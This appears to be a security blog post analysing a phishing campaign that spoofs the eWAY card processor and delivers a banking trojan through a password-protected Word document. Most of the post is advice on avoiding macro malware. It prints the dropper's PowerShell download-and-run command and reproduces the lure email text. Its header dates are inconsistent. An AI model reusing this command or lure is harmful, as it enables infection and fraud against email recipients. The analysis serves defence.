It is Monday and the start of a new week, so lets see what the malware gangs have got in store for us and what is new. They haven’t disappointed us today by sending a password protected docx file as the malware attachment, Spoofing a well know Australian Credit card Payment / processing service. Without entering the password you cannot see the content of the word doc and that will allow it past antivirus checks.

Today’s first example is an email with the subject of Receipt of APPROVED purchase pretending to come from [email protected] with a malicious word doc or Excel XLS spreadsheet attachment delivers what looks like some sort of Zeus/ Zbot / Panda banking Trojan.

They are using email addresses and subjects that will scare or entice a user to read the email and open the attachment. A very high proportion are being targeted at small and medium size businesses, with the hope of getting a better response than they do from consumers.

Remember many email clients, especially on a mobile phone or tablet, only show the Name in the From: and not the bit in < >. That is why these scams and phishes work so well.

eway ( which is an Australian card processor) has not been hacked or had their email or other servers compromised. They are not sending the emails to you. They are just innocent victims in exactly the same way as every recipient of these emails.

However was registered on 12 March 2021 by criminals using whoisguard protect . A quick look up shows this domain is using Google mail as the MX to send mail. That is why these malspam emails are currently passing email authentication checks. The criminals have set up to redirect to the genuine the recipient think that these are 100% legitimate emails and attachments

Order_326794.docx Current Virus total detections: Payload Security doesn’t show anything, because you need the password & I forgot to insert the use password command before pressing enter. Unfortunately Payload Security doesn’t allow resubmissions on the free web based version. Luckily the contact who sent me this did manage to find the download which is ( VirusTotal) Payload Security which in turn downloads ( VirusTotal) which is encrypted and will be either data or needs to be decrypted by the flash.exe or the original docx file. (You need to use a “null” user agent to get the bin file)

It shows how effective a simple password on a word doc is

With password VirusTotal gives 0 detections

remove password VirusTotal 18/58 with generic detections

running the non passworded version through Payload Security shows the malicious actions now. ( it would have been much simpler, if I had remembered to insert a “use password ” before pressing send to Payload Security

Basically all the word docx does is creates 2 shortcut files that when you select either the receipt pdf or the receipt xls images in the doc runs this PowerShell command

%ComSpec% /C PowerShell (New-Object System.Net.WebClient).DownloadFile(‘’,’flash.exe’);Start-Process ‘flash.exe’
Other subjects in this series seen so far include, some with and some without various numbers of exclamation marks:

  • Receipt of APPROVED payment!
  • Receipt of APPROVED purchase!
  • Receipt of APPROVED purchase
  • Receipt of APPROVED purchase at eWAY!!
  • Receipt of APPROVED purchase!!


The email looks like:

From: [email protected]

Date: Mon, 13 Mar 2021 12:56:30 +0000

Subject: Receipt of APPROVED purchase

Attachment: Order_326794.docx

Body content:

Transaction Number:
 Transaction Receipt: APPROVED 13 March 2021 09:51:38 PST
  Hi firstname lastname,


We are delighted to inform you that your purchase has accepted.

Your buying will be delivered straight to the address which you provided in the invoice during three business days.

All detailed information concerning to your purchase you can find in the attachment.

The information contained in the attachment is strictly private and not specified for the 3rd side.

Please type your unique password to access the attachment.

Attachment password:  888


Transaction processed successfully
Your secure payment was successfully processed by eWAY.
Your credit card transaction has been securely processed and encrypted by the eWAY payment gateway platform.
MTA CREDIT PARTNERS TRUSTS eWAY WITH THEIR PAYMENTS.  eWAY processes credit card payments for 1000’s of online shops everyday, all in real time directly to the banking network. Easy!
Powered by the eWAY payment gateway cloud – payments made easy. © 1998 – 2021

Email Headers:

Message Header for 5B2425034A7BAF0F

Received: from ( [])

for < >; Mon, 13 Mar 2017 12:56:31 +0000 (GMT)

Received: by with SMTP id p77so3893633ywg.2

for < >; Mon, 13 Mar 2021 05:56:31 -0700 (PDT)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;; s=20150623;









X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;; s=20161025;









X-Gm-Message-State: AMke39lLMujk4WEWyW7+Sa5W7spogccC46jy+JDQJgDy5yShR4Ips6L4JvdFlXMW655GBBtxsHAzWab2GVZcaQ==

MIME-Version: 1.0

X-Received: by with SMTP id l70mr15147107ywc.45.1489409790247;

Mon, 13 Mar 2021 05:56:30 -0700 (PDT)

Message-ID: <[email protected]>

Date: Mon, 13 Mar 2021 12:56:30 +0000

Subject: Receipt of APPROVED purchase

From: [email protected]


Content-Type: multipart/mixed; boundary=94eb2c0a8e6a794475054a9c3dcc

All the alleged senders, companies, names of employees, phone numbers, amounts, reference numbers etc. mentioned in the emails are all innocent and are just picked at random. Some of these companies will exist and some won’t. Don’t try to respond by phone or email, all you will do is end up with an innocent person or company who have had their details spoofed and picked at random from a long list that the bad guys have previously found . The bad guys choose companies, Government departments and other organisations with subjects that are designed to entice you or alarm you into blindly opening the attachment or clicking the link in the email to see what is happening.

This email attachment contains what appears to be a genuine word doc or Excel XLS spreadsheet with either a macro script or an embedded OLE object that when run will infect you.

Modern versions of Microsoft office, that is Office 2010, 2013, 2016 and Office 365 should be automatically set to higher security to protect you.

By default protected view is enabled and macros are disabled, UNLESS you or your company have enabled them. If protected view mode is turned off and macros are enabled then opening this malicious word document will infect you, and simply previewing it in windows explorer or your email client might well be enough to infect you. Definitely DO NOT follow the advice they give to enable macros or enable editing to see the content.

Most of these malicious word documents either appear to be totally blank or look something like these images when opened in protected view mode, which should be the default in Office 2010, 2013, 2016 and 365. Some versions pretend to have a digital RSA key and say you need to enable editing and Macros to see the content. Do NOT enable Macros or editing under any circumstances.

What Can Be Infected By This

At this time, these malicious macros only infect windows computers. They do not affect a Mac, IPhone, IPad, Blackberry, Windows phone or Android phone.

The malicious word or excel file can open on any device with an office program installed, and potentially the macro will run on Windows or Mac or any other device with Microsoft Office installed. BUT the downloaded malware that the macro tries to download is windows specific, so will not harm, install or infect any other computer except a windows computer. You will not be infected if you do not have macros enabled in Excel or Word. These Macros do not run in “Office Online” Open Office, Libre Office, Word Perfect or any other office program that can read Word or Excel files.

Please read our How to protect yourselves page for simple, sensible advice on how to avoid being infected by this sort of socially engineered malware. Also please read our post about word macro malware and how to avoid being infected by them

Be very careful with email attachments. All of these emails use Social engineering tricks to persuade you to open the attachments that come with the email. It might be a simple message saying “look at this picture of me I took last night” that appears to come from a friend. It might be a scare ware message that will make you open the attachment to see what you are accused of doing. Frequently it is more targeted at somebody ( small companies etc.) who regularly receive PDF attachments or Word .doc attachments or any other common file that you use every day, for example an invoice addressed to [email protected].

The basic rule is NEVER open any attachment to an email, unless you are expecting it. Now that is very easy to say but quite hard to put into practice, because we all get emails with files attached to them. Our friends and family love to send us pictures of them doing silly things, or even cute pictures of the children or pets. Many of us routinely get Word, Excel or PowerPoint attachments in the course of work or from companies that we already have a relationship with.

Never just blindly click on the file in your email program. Always save the file to your downloads folder, so you can check it first. A lot of malicious files that are attached to emails will have a faked extension. That is the 3 letters at the end of the file name.

Unfortunately windows by default hides the file extensions so you need to Set your folder options to “show known file types. Then when you unzip the zip file that is supposed to contain the pictures of “Sally’s dog catching a ball”, an invoice or receipt from some company for a product or service or receive a Word doc or Excel file report that work has supposedly sent you to finish working on at the weekend, you can easily see if it is a picture or document & not a malicious program. If you see JS or .EXE or .COM or .PIF or .SCR or .HTA .vbs, .wsf , .jse .jar at the end of the file name DO NOT click on it or try to open it, it will infect you.

With these malformed infected word, excel and other office documents that normally contain a vba macro virus, the vital thing is do not open any office document direct from your email client or the web. Always save the document to a safe location on your computer, normally your downloads folder or your documents folder and scan it with your antivirus. Many Antiviruses do not natively detect vba macro-viruses in real time protection and you need to enable document or office protection in the settings. Do not rely on your Anti-Virus to immediately detect the malware or malicious content. DO NOT enable editing mode or enable macros

All modern versions of word and other office programs, that is 2010, 2013, 2016 and 365, should open all Microsoft office documents that is word docs, excel files and PowerPoint etc that are downloaded from the web or received in an email automatically in “protected view” that stops any embedded malware or macros from being displayed and running.

Make sure protected view is set in all office programs to protect you and your company from these sorts of attacks and do not over ride it to edit the document until you are 100% sure that it is a safe document. If the protected mode bar appears when opening the document DO NOT enable editing mode or enable macros the document will look blank or have a warning message, but will be safe.

Be aware that there are a lot of dodgy word docs spreading that WILL infect you with no action from you if you are still using an out dated or vulnerable version of word. This is a good reason to update your office programs to a recent version and stop using office 2003 and 2007.

Many of us have continued to use older versions of word and other office programs, because they are convenient, have the functions and settings we are used to and have never seen a need to update to the latest super-duper version. The risks in using older version are now seriously starting to outweigh the convenience, benefits and cost of keeping an old version going.

I strongly urge you to update your office software to the latest version and stop putting yourself at risk, using old out of date software.